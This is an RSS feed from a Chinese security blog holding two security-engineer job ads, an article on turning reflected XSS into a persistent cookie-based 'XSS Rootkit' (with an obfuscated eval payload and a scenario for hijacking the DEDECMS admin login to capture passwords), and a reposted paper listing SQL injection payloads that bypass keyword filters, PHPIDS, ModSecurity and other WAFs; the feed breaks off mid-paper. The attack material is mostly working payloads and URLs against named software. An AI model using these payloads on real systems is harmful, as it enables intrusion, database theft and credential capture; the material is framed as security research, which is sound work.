<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
	<channel>
		<title>Neeao's Blog</title>
		<link>http://neeao.com/</link>
		<description>信息安全、程序开发、脚本技术</description>
		<copyright>Powered by SaBlog-X. Copyright (C) 2003-2009.</copyright>
		<generator>SaBlog-X Version 2.0 Build 20100301</generator>
		<lastBuildDate>Sat, 04 Feb 2012 21:09:19 +0000</lastBuildDate>
		<ttl>30</ttl>
		<item>
			<guid>http://neeao.com/archives/90/</guid>
			<title>携程招聘安全工程师</title>
			<author>Neeao</author>
			<description><![CDATA[Neeao's Blog ( http://neeao.com/ ) : <p>
	职位描述:<br />
	<br />
	1. 各类安全问题和安全事件的跟踪和分析<br />
	2. 定期的安全风险评估和检测<br />
	3. 跟踪和分析新的安全漏洞、安全技术<br />
	<br />
	<br />
	职位要求:<br />
	<br />
	1. 熟悉Web安全<br />
	2. 具有一定的编程能力<br />
	3. 对常见的Web编程语言要有一定的解读能力<br />
	4. 跟踪和分析最新安全相关的技术<br />
	5. 有良好的团队合作精神,有责任感,有较好的沟通能力,主动性强<br />
	<br />
	优先条件:<br />
	<br />
	1. 有相关的安全工作经验<br />
	2. 乐于分享,各类流行技术的热心参与和内容贡献者<br />
	<br />
	工作地点：上海<br />
	联系方式：qwluo[AT]ctrip.com</p>
]]></description>
			<link>http://neeao.com/archives/90/</link>
			<category domain="http://neeao.com/category/0/"></category>
			<pubDate>2011-12-07 10:49</pubDate>
		</item>
		<item>
			<guid>http://neeao.com/archives/88/</guid>
			<title>京东商城招聘信息安全工程师</title>
			<author>Neeao</author>
			<description><![CDATA[Neeao's Blog ( http://neeao.com/ ) : <p>
	职位职能:&nbsp; 信息安全工程师&nbsp;<br />
	&nbsp;<br />
	职位描述:<br />
	1.用户终端，网络设备，服务器定期安全扫描，入侵检测，手工检查等并对结果分析，利用技术手段进行安全加固；<br />
	2.通过安全事件应急处理以及日常安全运维，提出预防以及修补方案；<br />
	3.网站以及内部信息安全相关监控，分析，并提出合理化建设建议；<br />
	4.用户终端，网络设备，服务器等软硬件安装，配置安全手册撰写以及维护；<br />
	5.负责内外部各种安全监控和攻击事件的应对；</p>
<p>
	&nbsp;</p>
<p>
	任职要求：<br />
	1.本科以上学历；<br />
	2.熟悉网络技术：端口，服务器漏洞扫描，权限管理，入侵和攻击分析，网站渗透，病毒防护等；<br />
	3.熟悉安全相关理论和原理：TCP/IP协议，SQL注入，内存缓冲，传输安全，数据包结构等；<br />
	4.熟悉windows，linux系统相关漏洞；<br />
	5.熟练使用一门脚本语言（ruby、python、shell等）；<br />
	5.熟悉主流网络安全软硬件；</p>
<p>
	工作地点：北京</p>
<p>
	联系方式 bjlixueqing # 360buy.com</p>
]]></description>
			<link>http://neeao.com/archives/88/</link>
			<category domain="http://neeao.com/category/0/"></category>
			<pubDate>2011-10-21 12:04</pubDate>
		</item>
		<item>
			<guid>http://neeao.com/archives/87/</guid>
			<title>深掘XSS漏洞场景之XSS Rootkit[完整修订版]</title>
			<author>Neeao</author>
			<description><![CDATA[Neeao's Blog ( http://neeao.com/ ) : <p>
	EMail: rayh4c#80sec.com<br />
	Site: http://www.80sec.com<br />
	Date: 2011-10-15<br />
	&nbsp;<br />
	0x00 前言<br />
	&nbsp;<br />
	众所周知XSS漏洞的风险定义一直比较模糊，XSS漏洞属于高危漏洞还是低风险漏洞一直以来都有所争议。XSS漏洞类型主要分为两种持久型和非持久型：<br />
	&nbsp;<br />
	1. 非持久型XSS漏洞一般存在于URL参数中，需要访问黑客构造好的特定URL才能触发漏洞。<br />
	&nbsp;<br />
	2. 持久型XSS漏洞一般存在于富文本等交互功能，如发帖留言等，黑客可以用XSS内容经正常功能进入数据库持久保存。<br />
	<br />
	3. DOM XSS漏洞，也分为持久和非持久型两种，多是通过javascript DOM接口获取地址栏、referer或编码指定HTML标签内容造成。<br />
	&nbsp;<br />
	一般持久型XSS漏洞比非持久型XSS漏洞风险等级高，从漏洞的本质上来说这是没错的，但漏洞的利用仍然需要看场景，有时候更深入的看待场景能够挖掘出意想不到的东西，大家接着往下看。<br />
	<br />
	&nbsp;<br />
	0x01 漏洞场景解析<br />
	&nbsp;<br />
	首先我给出一段PHP分页的XSS漏洞的简单代码：<br />
	&nbsp;<br />
	demo.php&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;-<br />
	&nbsp;&lt;?php<br />
	&nbsp;foreach(Array(&#39;_GET&#39;,&#39;_POST&#39;,&#39;_cookie&#39;) as $_request)<br />
	&nbsp;{<br />
	&nbsp;foreach($$_request as $_k =&gt; $_v) ${$_k} = $_v;<br />
	&nbsp;}<br />
	&nbsp;?&gt;<br />
	&nbsp;<br />
	&lt;a href=&quot;&lt;? echo $_SERVER[&quot;PHP_SELF&quot;]; ?&gt;?i=&lt;? echo $id;?&gt;&quot;&gt;分页&lt;/a&gt;<br />
	&nbsp;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;<br />
	&nbsp;<br />
	这段PHP代码中模拟register_globals是Web程序中常见的，代码中输出了网页的分页链接这个也是常见的，因为忽略了对传入数据的效验，更产生了最常见的XSS漏洞。<br />
	&nbsp;<br />
	下面是这个XSS漏洞的验证方法：<br />
	&nbsp;http://127.0.0.1/demo.php?id=1&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;<br />
	&nbsp;<br />
	GET方法在id参数中传入HTML内容，导致网页内容中的herf闭合，执行script标签里的脚本内容：<br />
	&nbsp;<br />
	&lt;a href=&quot;/demo.php?id=1&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;&quot;&gt;分页&lt;/a&gt;<br />
	&nbsp;<br />
	这是一个典型的非持久型XSS漏洞，在常规的思维逻辑下，这个漏洞到这里基本就打止了，本文也马上要变为普通的科普文了，然而事实并没有那么简单，这个漏洞场景再深入挖掘，就牵出了本文的重头戏。<br />
	<br />
	<br />
	0x02 XSS Rootkit实现方法<br />
	&nbsp;<br />
	我们知道操作系统有Rootkit这样的内核后门，Rootkit最大的特性之一就是隐蔽，普通的安全软件无法检测出系统中运作着Rootkit，以保证Rootkit后门能长久存活于系统中，而Web程序的漏洞很难达到这一效果，而我发现某些特定场景的XSS漏洞能够达到这一效果。<br />
	<br />
	现今流行的PHP Web程序的都喜欢自己模拟register_globals（全局变量注册）这一特性，通过GET、POST、cookie等方法注册变量（本文下面的内容都简称GPC），通过GPC直接注册变量方便整个程序的运作，而本文的重点即是围绕这一点来展开的。<br />
	<br />
	第一部分的我模拟的XSS漏洞即是一个典型的全局变量注册的场景，demo.php不仅可以GET传参，还能接受cookie传参，变量注册顺序是GPC，由于注册变量的流程是一个foreach循环，所以通过GP注册变量最后能被C覆盖，而cookie是客户端浏览器的持久化数据，如果通过XSS漏洞设置cookie，我们完全可以把这个典型的非持久型XSS漏洞变成持久的，说到这里大家一定感觉非常兴奋了，我就来实际测试一下：<br />
	&nbsp;<br />
	先写出一段设置cookie的javascript代码<br />
	&nbsp;<br />
	Persistence_data=&#39;&quot;&gt;&lt;script&gt;alert(/xss/)&lt;/script&gt;&#39;;<br />
	var date=new Date();<br />
	var expireDays=365; //设置cookie一年后失效<br />
	date.setTime(date.getTime()+expireDays*24*3600*1000);<br />
	document.cookie=&#39;id=&#39;+Persistence_data+&#39;;expires=&#39;+date.toGMTString(); //设置cookie的id参数值为XSS代码<br />
	&nbsp;<br />
	把设置cookie的javascript代码编码一次，放入XSS URL中，这样防止魔术引号和不同浏览器编码的未知情况影响我们的测试，关闭IE8/9等XSS筛选器后，我们访问下面的URL让XSS生效。<br />
	&nbsp;<br />
	http://127.0.0.1/demo.php?id=1&quot;&gt;&lt;script&gt;eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,47,41,60,47,115,99,114,105,112,116,62,39,59,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,105,100,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59))&lt;/script&gt;<br />
	<br />
	&nbsp;<br />
	结果令人非常满意，当我们关闭浏览器乃至关闭重启电脑后，再重新访问下面的网页：<br />
	<br />
	无论是访问http://127.0.0.1/demo.php<br />
	<br />
	还是访问http://127.0.0.1/demo.php?id=1<br />
	<br />
	我们的XSS代码都会生效，同时如果客户端未清理cookie，这个XSS漏洞将有效一年的时间，达到了Rootkit隐蔽和能够持久存活的效果。<br />
	<br />
	<br />
	0x03 XSS Rootkit实战<br />
	<br />
	DEDECMS后台登陆主页的模板中有个gotopage变量存在XSS漏洞，代码如下：<br />
	<br />
	dede\templets\login.htm<br />
	<br />
	65行左右<br />
	<br />
	&lt;input type=&quot;hidden&quot; name=&quot;gotopage&quot; value=&quot;&lt;?php if(!empty($gotopage)) echo $gotopage;?&gt;&quot; /&gt;<br />
	<br />
	DEDECMS核心代码中，模拟全局变量注册机制的顺序是GPC，也就是C能够覆盖GP所注册的变量。<br />
	<br />
	我们再套用0X02的代码测试，可以在cookie中持久化保存gotopage变量，如果管理员触发过我们的XSS漏洞，我们就能在管理员的cookie中持久化保存gotopage变量，将gotopage隐藏表单值变为我们的任意脚本内容，以后管理员只要是访问后台页面都会触发XSS漏洞，我们完全可以劫持管理员的整个登陆过程，悄无声息的直接获取管理员的密码。<br />
	<br />
	当然DEDECMS这个漏洞的如何灵活运用更取决于黑客的发散思维，比如IE8/9等会拦截URL XSS，我们可以利用一个持久型的XSS或DOM XSS做为这类XSS Rootkit漏洞的payload,另外cookie的设置不限于同源策略,在任意子域名设置的cookie，可以让整个域名的应用都接受这个cookie,黑客可以脱离于DEDECMS程序本身的限制,在整个网站架构上的薄弱点攻击DEDECMS的后台。<br />
	<br />
	<br />
	0x04 深入XSS Rootkit场景<br />
	<br />
	在PHP全局变量注册机制的场景下，调整GPC的注册变量的顺序可以减弱XSS Rootkit攻击效果，如discuz程序：<br />
	<br />
	foreach(array(&#39;_COOKIE&#39;, &#39;_POST&#39;, &#39;_GET&#39;) as $_request) {<br />
	&nbsp;foreach($$_request as $_key =&gt; $_value) {<br />
	&nbsp; $_key{0} != &#39;_&#39; &amp;&amp; $$_key = daddslashes($_value);<br />
	&nbsp;}<br />
	}<br />
	<br />
	注册变量的顺序是CPG，我们的C始终都不能覆盖GP所注册过的变量，不过程序的某个流程导致变量未初始化，还是能产生XSS Rootkit效果，如<br />
	<br />
	http://xx.163.com/logging.php?action=logout&amp;referer=javascript:alert()&amp;formhash=rootkit<br />
	<br />
	在DISCUZ程序的退出代码存在一个XSS漏洞，在用户没有登陆的情况下，退出代码中的referer变量没有初始化，导致我们能任意控制这个变量。<br />
	<br />
	在这个情况下我们不用担心CPG的注册顺序问题，但我们需要构造特定的URL，造成变量未初始化的情况才能触发XSS漏洞，这样XSS Rootkit攻击效果就大打折扣了，用户在登陆后的正常退出操作是不能触发我们的XSS漏洞的，已脱离了XSS Rookit的优势。<br />
	<br />
	另外一个场景是滥用request类变量的情况，在不同脚本和服务器环境中request类变量的效果可能不同，如在我之前的《浅谈绕过WAF的数种方法》提到了asp/asp .net等request类变量有复参特性，所以gpc的内容都能同时进入注册变量，也可能会产生XSS Rootkit漏洞的情况。<br />
	<br />
	最后还有一类特殊的DOM XSS情况，80sec的成员疯狗在几年前发现过，某大型网站的主页读取COOKIE中的用户ID在网页中显示并没有进行HTML编码，导致一个XSS漏洞即可在主页中安装XSS Rookit。<br />
	<br />
	当然还有更多的场景，在剑心的《web应用程序中的rootkit》也都有提过，XSS Rootkit的场景我就解读到这里了，更多的场景就留给大家思维发散了。<br />
	<br />
	&nbsp;<br />
	0x05 后话<br />
	<br />
	至此我们用非持久型XSS漏洞完成了一次到XSS Rootkit的转变，再一次揭示了漏洞的场景有多么重要，深掘漏洞场景完成一次本质的升华是多么美妙的事情。<br />
	<br />
	程序员需要重视程序安全的每一个细节，任何一个不起眼的漏洞都可能会造成意想不到的危害。<br />
	&nbsp;<br />
	一些web漏洞扫描器报告中提示非持久型XSS漏洞标为高危漏洞，普遍存在争议的情况，可以根据本文做参考，对场景再深入挖掘来定义风险，那么本文最重要的目的也就达到了。<br />
	<br />
	<br />
	0x06 参考<br />
	<br />
	跨站脚本漏洞导致的浏览器劫持攻击<br />
	http://www.80sec.com/browser-hijacking.html<br />
	<br />
	web应用程序中的rootkit<br />
	http://www.80sec.com/webapp-rootki.html<br />
	<br />
	浅谈绕过WAF的数种方法<br />
	http://www.80sec.com/%e6%b5%85%e8%b0%88%e7%bb%95%e8%bf%87waf%e7%9a%84%e6%95%b0%e7%a7%8d%e6%96%b9%e6%b3%95.html<br />
	&nbsp;</p>
]]></description>
			<link>http://neeao.com/archives/87/</link>
			<category domain="http://neeao.com/category/0/"></category>
			<pubDate>2011-10-15 23:03</pubDate>
		</item>
		<item>
			<guid>http://neeao.com/archives/86/</guid>
			<title>绕过WAF过滤的方法，防注入新挑战</title>
			<author>Neeao</author>
			<description><![CDATA[Neeao's Blog ( http://neeao.com/ ) : <h1>
	Beyond SQLi: Obfuscate and Bypass</h1>
<p>
	from:http://www.friddy.cn/article.asp?id=128</p>
<pre>
|=--------------------------------------------------------------------=|
|=--------------=[ Beyond SQLi: Obfuscate and Bypass ]=---------------=|
|=-------------------------=[ 6 October 2011 ]=-----------------------=|
|=----------------------=[  By CWH Underground  ]=--------------------=|
|=--------------------------------------------------------------------=|
				

######
 Info
######

Title	: Beyond SQLi: Obfuscate and Bypass
Author	: &quot;ZeQ3uL&quot; (Prathan Phongthiproek) and &quot;Suphot Boonchamnan&quot;
Team    : CWH Underground [http://www.exploit-db.com/author/?a=1275]
Date	: 2011-10-06


##########
 Contents
##########

  [0x00] - Introduction

  [0x01] - Filter Evasion (Mysql)

		[0x01a] - Bypass Functions and Keywords Filtering
		[0x01b] - Bypass Regular Expression Filtering
		
  [0x02] - Normally Bypassing Techniques

  [0x03] - Advanced Bypassing Techniques

		[0x03a] - HTTP Parameter Pollution: Split and Join
		[0x03b] - HTTP Parameter Contamination
  		
  [0x04] - How to protect your website

  [0x05] - Conclusion

  [0x06] - References

  [0x07] - Greetz To


#######################
 [0x00] - Introduction
#######################

	Welcome readers, this paper is a long attempt at documenting advanced SQL injection we have been working on. 
This papers will disclose advanced bypassing and obfuscation techniques which many of them can be used in the real CMSs and WAFs. The proposed SQL injection statements in this paper are just some ways to bypass the protection. 
There are still some other techniques can be used to attacks web applications but unfortunately we cannot tell you right now, as it is kept as a 0-day attack. However, this paper aims to show that there is no completely secure system 
in the real world even though you spend more than 300,000 USD on a WAF.

	This paper is divided into 7 sections but only from section 0x01 to 0x03 are about technical information.

	Section 0x01, we give a details of how to bypass filter including basic, function and keyword.
Section 0x02, we offer normally bypassing techniques for bypass OpenSource and Commercial WAF.
Section 0x03, we talk in-depth Advanced bypassing techniques that separate into 2 section, &quot;HTTP Parameter Contamination&quot;.
and &quot;HTTP Pollution: Split and Join&quot;. Section 0x04, we guide to protect your own website on the right solution. 
The last, section 0x05, It&#39;s conclusion from Section 0x01-0x04.


#################################
 [0x01] - Filter Evasion (Mysql)
#################################
	
	This section will describe filter evasion behaviors based on PHP and MySQL and how to bypass the filtering. Filter Evasion is a technique used to prevent SQL injection attacks. This technique can be done by using a SQL functions and keywords filtering or regular expressions. 
This means that filter evasion relies heavily upon how storing a black list or regular expression is. If the black list or regular expression does not cover every injection scenario, the web application is still vulnerable to SQL Injection attacks.

	+++++++++++++++++++++++++++++++++++++++++++++++++++
	 [0x01a] - Bypass Functions and Keywords Filtering
	+++++++++++++++++++++++++++++++++++++++++++++++++++
	
		Functions and keywords filtering prevents web applications from being attacked by using a functions and keywords black list. If an attackers submits an injection code containing a keyword or SQL function in the black list, the injection will be unsuccessful. 
	However, if the attacker is able to manipulate the injection by using another keyword or function, the black list will fail to prevent the attack. In order to prevent attacks, a number of keywords and functions has to be put into the black list. However, this affects users 
	when the users want to submit input with a word in the black list. They will be unable to submit the input because it is being filtered by the black list. The following scenarios show cases of using functions and keywords filtering and bypassing techniques.

		
		Keyword filer: 		and, or
		----------------------------------------------------------------------
		PHP filter code:	preg_match(&#39;/(and|or)/i&#39;, $id)

		THe keywords and, or are usually used as a simple test to determine whether a web application is vulnerable to SQL Injection attacks. Here is a simple bypass using &amp;&amp;, || instead of and, or respectively.

		Filtered injection:	1 or 1 = 1		1 and 1 = 1
		Bypassed injection:	1 || 1 = 1		1 &amp;&amp; 1 = 1
		----------------------------------------------------------------------


		Keyword filer: 		and, or, union
		----------------------------------------------------------------------
		PHP filter code:	preg_match(&#39;/(and|or|union)/i&#39;, $id)

		The keyword union is generally used to generate an malicious statement in order to select extra data from the database. 

		Filtered injection:	union select user, password from users
		Bypassed injection:	1 || (select user from users where user_id = 1) = &#39;admin&#39;

		** Remark: you have to know table name, column name and some data in the table, otherwise you have to get it from information_schema.columns table using other statement 
		e.g. use substring function to get each character of table names.
		----------------------------------------------------------------------

		
		Keyword filer: 		and, or, union, where
		----------------------------------------------------------------------
		PHP filter code:	preg_match(&#39;/(and|or|union|where)/i&#39;, $id)
		Filtered injection:	1 || (select user from users where user_id = 1) = &#39;admin&#39;
		Bypassed injection:	1 || (select user from users limit 1) = &#39;admin&#39;
		----------------------------------------------------------------------

		
		Keyword filer: 		and, or, union, where, limit
		----------------------------------------------------------------------
		PHP filter code:	preg_match(&#39;/(and|or|union|where|limit)/i&#39;, $id)
		Filtered injection:	1 || (select user from users limit 1) = &#39;admin&#39;
		Bypassed injection:	1 || (select user from users group by user_id having user_id = 1) = &#39;admin&#39;
		----------------------------------------------------------------------


		Keyword filer: 		and, or, union, where, limit, group by
		----------------------------------------------------------------------
		PHP filter code:	preg_match(&#39;/(and|or|union|where|limit|group by)/i&#39;, $id)
		Filtered injection:	1 || (select user from users group by user_id having user_id = 1) = &#39;admin&#39;
		Bypassed injection:	1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1
		----------------------------------------------------------------------

		
		Keyword filer: 		and, or, union, where, limit, group by, select
		----------------------------------------------------------------------
		PHP filter code:	preg_match(&#39;/(and|or|union|where|limit|group by|select)/i&#39;, $id)
		Filtered injection:	1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
		Bypassed injection:	1 || 1 = 1 into outfile &#39;result.txt&#39;
		Bypassed injection:	1 || substr(user,1,1) = &#39;a&#39;
		----------------------------------------------------------------------


		Keyword filer: 		and, or, union, where, limit, group by, select, &#39;
		----------------------------------------------------------------------
		PHP filter code:	preg_match(&#39;/(and|or|union|where|limit|group by|select|\&#39;)/i&#39;, $id)
		Filtered injection:	1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
		Bypassed injection:	1 || user_id is not null
		Bypassed injection:	1 || substr(user,1,1) = 0x61
		Bypassed injection:	1 || substr(user,1,1) = unhex(61)
		----------------------------------------------------------------------


		Keyword filer: 		and, or, union, where, limit, group by, select, &#39;, hex
		----------------------------------------------------------------------
		PHP filter code:	preg_match(&#39;/(and|or|union|where|limit|group by|select|\&#39;|hex)/i&#39;, $id)
		Filtered injection:	1 || substr(user,1,1) = unhex(61)
		Bypassed injection:	1 || substr(user,1,1) = lower(conv(11,10,36))
		----------------------------------------------------------------------


		Keyword filer: 		and, or, union, where, limit, group by, select, &#39;, hex, substr
		----------------------------------------------------------------------
		PHP filter code:	preg_match(&#39;/(and|or|union|where|limit|group by|select|\&#39;|hex|substr)/i&#39;, $id)
		Filtered injection:	1 || substr(user,1,1) = lower(conv(11,10,36))
		Bypassed injection:	1 || lpad(user,7,1)
		----------------------------------------------------------------------


		Keyword filer: 		and, or, union, where, limit, group by, select, &#39;, hex, substr, white space
		----------------------------------------------------------------------
		PHP filter code:	preg_match(&#39;/(and|or|union|where|limit|group by|select|\&#39;|hex|substr|\s)/i&#39;, $id)
		Filtered injection:	1 || lpad(user,7,1)
		Bypassed injection:	1%0b||%0blpad(user,7,1)
		----------------------------------------------------------------------


		From the above examples, it can be seen that there are a number of SQL statements used for bypassing the black list although the black list contains many keywords and functions. 
	Furthermore, there are a huge SQL statements, that are not on the mentioned examples, that can be used to bypass the black list.

		Creating a bigger black list is not a good idea to protect your own websites. Remember, the more keywords and functions filtering, the less user friendly.


	+++++++++++++++++++++++++++++++++++++++++++++++
	 [0x01b] - Bypass Regular Expression Filtering
	+++++++++++++++++++++++++++++++++++++++++++++++

		Regular expression filtering is a better solution to prevent SQL injection than keywords and functions filtering because it is used pattern matching to detect attacks. Valid users are allowed to submit more flexible input to the server. 
	However, many regular expression can also be bypassed. The following examples illustrate injection scripts that used to bypass regular expressions in the OpenSource PHPIDS 0.6.

	PHPIDS generally blocks input containing = or ( or &#39; following with any a string or integer e.g. 1 or 1=1, 1 or &#39;1&#39;, 1 or char(97). However, it can be bypassed using a statement that does not contain =, ( or &#39; symbols. 

	[Code]---------------------------------------------------------------		
	filtered injection:		1 or 1 = 1
	Bypassed injection:		1 or 1
	[End Code]----------------------------------------------------------- 

	[Code]---------------------------------------------------------------		
	filtered injection:		1 union select 1, table_name from information_schema.tables where table_name = &#39;users&#39;
	filtered injection:		1 union select 1, table_name from information_schema.tables where table_name between &#39;a&#39; and &#39;z&#39;
	filtered injection:		1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122)
	Bypassed injection:		1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7a
	Bypassed Injection:		1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273
	[End Code]----------------------------------------------------------- 



########################################
 [0x02] - Normally Bypassing Techniques
########################################

	In this section, we mention about the techniques to bypass Web Application Firewall (WAF). First thing you need to know what&#39;s WAF?
	
	A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation. 
Generally, these rules cover common attacks such as Cross-site Scripting (XSS) and SQL Injection. By customizing the rules to your application, 
many attacks can be identified and blocked. The effort to perform this customization can be significant and needs to be maintained as the application is modified.
	WAFs are often called &#39;Deep Packet Inspection Firewalls&#39; coz they look at every request and response within the HTTP/HTTPS/SOAP/XML-RPC/Web service lacers.
Some modern WAF systems work both with attack signatures and abnormal behavior.

	Now Let&#39;s rock to understand How to breach it with obfuscate, All WAFs can be bypassed with the time to understand their rules or using your imagination !!

	
	1. Bypass with Comments

		SQL comments allow us to bypass a lot of filtering and WAFs.
	
		[Code]---------------------------------------------------------------		
		http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--
		[End Code]-----------------------------------------------------------


	2. Case Changing

		Some WAFs filter only lowercase SQL keyword.	

		Regex Filter: /union\sselect/g
	
		[Code]---------------------------------------------------------------		
		http://victim.com/news.php?id=1+UnIoN/**/Select/**/1,2,3--
		[End Code]-----------------------------------------------------------


	3. Replaced keywords

		Some application and WAFs use preg_replace to remove all SQL keyword. So we can bypass easily.	
	
		[Code]---------------------------------------------------------------		
		http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
		[End Code]-----------------------------------------------------------

		Some case SQL keyword was filtered out and replaced with whitespace. So we can use &quot;%0b&quot; to bypass.

		[Code]---------------------------------------------------------------		
		http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--
		[End Code]-----------------------------------------------------------

		For Mod_rewrite, Comments &quot;/**/&quot; cannot bypassed. So we use &quot;%0b&quot; replace &quot;/**/&quot;.

		Forbidden: http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html
		Bypassed : http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html
	


	4. Character encoding

		Most CMSs and WAFs will decode and filter/bypass an application input, but some WAFs only decode the input once so 
		double encoding can bypass certain filters as the WAF will decode the input once then filter while application keep
		decoding the SQL statement executing
	
		[Code]-----------------------------------------------------------------------------------------------------------------
		http://victim.com/news.php?id=1%252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--
		[End Code]-------------------------------------------------------------------------------------------------------------
				
		Moreover, these techniques can combine to bypass Citrix Netscaler
			- Remove all &quot;NULL&quot; words
			- Use query encoding in some parts
			- Remove the single quote character &quot;&#39;&quot;
			- And Have fun !!
			Credit: Wendel Guglielmetti Henrique	
		
		and &quot;Armorlogic Profense&quot;  prior to 2.4.4 was bypassed by URL-encoded newline character.


		#Real World Example
		
		1. NukeSentinel (Nuke Evolution)
		
		[Nukesentinel.php Code]------------------------------------------------------------
		// Check for UNION attack
		// Copyright 2004(c) Raven PHP Scripts
		$blocker_row = $blocker_array[1];
		if($blocker_row[&#39;activate&#39;] &gt; 0) {
 		 if (stristr($nsnst_const[&#39;query_string&#39;],&#39;+union+&#39;) or \
		stristr($nsnst_const[&#39;query_string&#39;],&#39;%20union%20&#39;) or \
		stristr($nsnst_const[&#39;query_string&#39;],&#39;*/union/*&#39;) or \
		stristr($nsnst_const[&#39;query_string&#39;],&#39; union &#39;) or \
		stristr($nsnst_const[&#39;query_string_base64&#39;],&#39;+union+&#39;) or \
		stristr($nsnst_const[&#39;query_string_base64&#39;],&#39;%20union%20&#39;) or \
		stristr($nsnst_const[&#39;query_string_base64&#39;],&#39;*/union/*&#39;) or \
		stristr($nsnst_const[&#39;query_string_base64&#39;],&#39; union &#39;)) {  // block_ip($blocker_row);
		   die(&quot;BLOCK IP 1 &quot; );
		  }
		}
		[End Code]-------------------------------------------------------------------------

		We can bypass their filtering with these script:
		
		Forbidden: http://victim.com/php-nuke/?/**/union/**/select..
		Bypassed : http://victim.com/php-nuke/?/%2A%2A/union/%2A%2A/select
		Bypassed : http://victim.com/php-nuke/?%2f**%2funion%2f**%2fselect


		2. Mod Security CRS (Credit: Johannes Dahse)
		
		[SecRule]--------------------------------------------------------------------------
		SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* &quot;\bunion\b.{1,100}?\bselect\b&quot; \ &quot;phase2,rev:&#39;2.2.1&#39;,capture,t:none,
		t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,block,
		msg:&#39;SQL Injection Attack&#39;,id:&#39;959047&#39;,tag:&#39;WEB_ATTACK/SQL_INJECTION&#39;,tag:&#39;WASCTC/WASC-19&#39;,tag:&#39;OWASP_TOP_10/A1&#39;,
		tag:&#39;OWASP_AppSensor/CIE1&#39;,tag:&#39;PCI/6.5.2&#39;,logdata:&#39;%{TX.0}&#39;,severity:&#39;2&#39;,setvar:&#39;tx.msg=%{rule.msg}&#39;,
		setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},
		setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}&quot;
		[End Rule]-------------------------------------------------------------------------

		We can bypass their filtering with this code:
		
		[Code]------------------------------------------------------------------------------
		http://victim.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
		[End Code]--------------------------------------------------------------------------

		From this attack, We can bypass Mod Security rule. Let see what&#39;s happen !! 
		
		MySQL Server supports 3 comment styles:
			- From a &quot;#&quot; character to the end of the line
			- From a &quot;--&quot; sequence to the end of the line
			- From a /* sequence to the following */ sequence, as in the C programming language.
			  This syntax enables a comment to extend over multiple lines because the beginning and closing sequences need
			  not be on the same line.

		The following example, We used &quot;%0D%0A&quot; as the new line characters. Let&#39;s take a look at the first request(to extract the DB user)
		The resulting SQL payload looked something like this:

			0 div 1 union#foo*/*/bar
			select#foo
			1,2,current_user
		
		However the SQL payload, when executed by the MySQL DB, looked something like this:

			0 div 1 union select 1,2,current_user	


	5. Buffer Overflow

		WAFs that written in the C language prone to overflow or act differently when loaded with a bunch of data.
		Give a large amount of data allows our code executing	
	
		[Code]------------------------------------------------------------------------------
		http://victim.com/news.php?id=1+and+(select 1)=(select 0x414141414141441414141414114141414141414141414141414141
		414141414141.)+union+select+1,2,version(),database(),user(),6,7,8,9,10--
		[End Code]--------------------------------------------------------------------------

	
	6. Inline Comments (Mysql Only)

		From MySQL 5.0 Reference Manual, MySQL Server supports some variants of C-style comments. These enable you to write
		code that includes MySQL extensions, but is still portable, by using comments of the following form:

		/*! MySQL-specific code */
		
		In this case, MySQL Server parses and executes the code within the comment as it would any other SQL statement,
		but other SQL servers will ignore the extensions.
		
		A lot of WAFs filter SQL keywords like /union\sselect\ig We can bypass this filter by using inline comments.
		
		[Code]------------------------------------------------------------------------------
		http://victim.com/news.php?id=1/*!UnIoN*/Select+1,2,3--
		[End Code]--------------------------------------------------------------------------
		
		Inline comments can be used throughout the SQL statement so if table_name or information_schema are filtered we can
		add more inline comments
	
		[Code]------------------------------------------------------------------------------
		http://victim.com/news.php?id=/*!UnIoN*/+/*!Select*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables
		/*!Where*/+/*!TaBlE_sChEMa*/+like+database()--
		[End Code]--------------------------------------------------------------------------

		In a recent penetration test, we were able to bypass a Mod Security CRS and PentaSecurity-WAPPLE using this technique. More information show below:
		
		#################################################################################################################

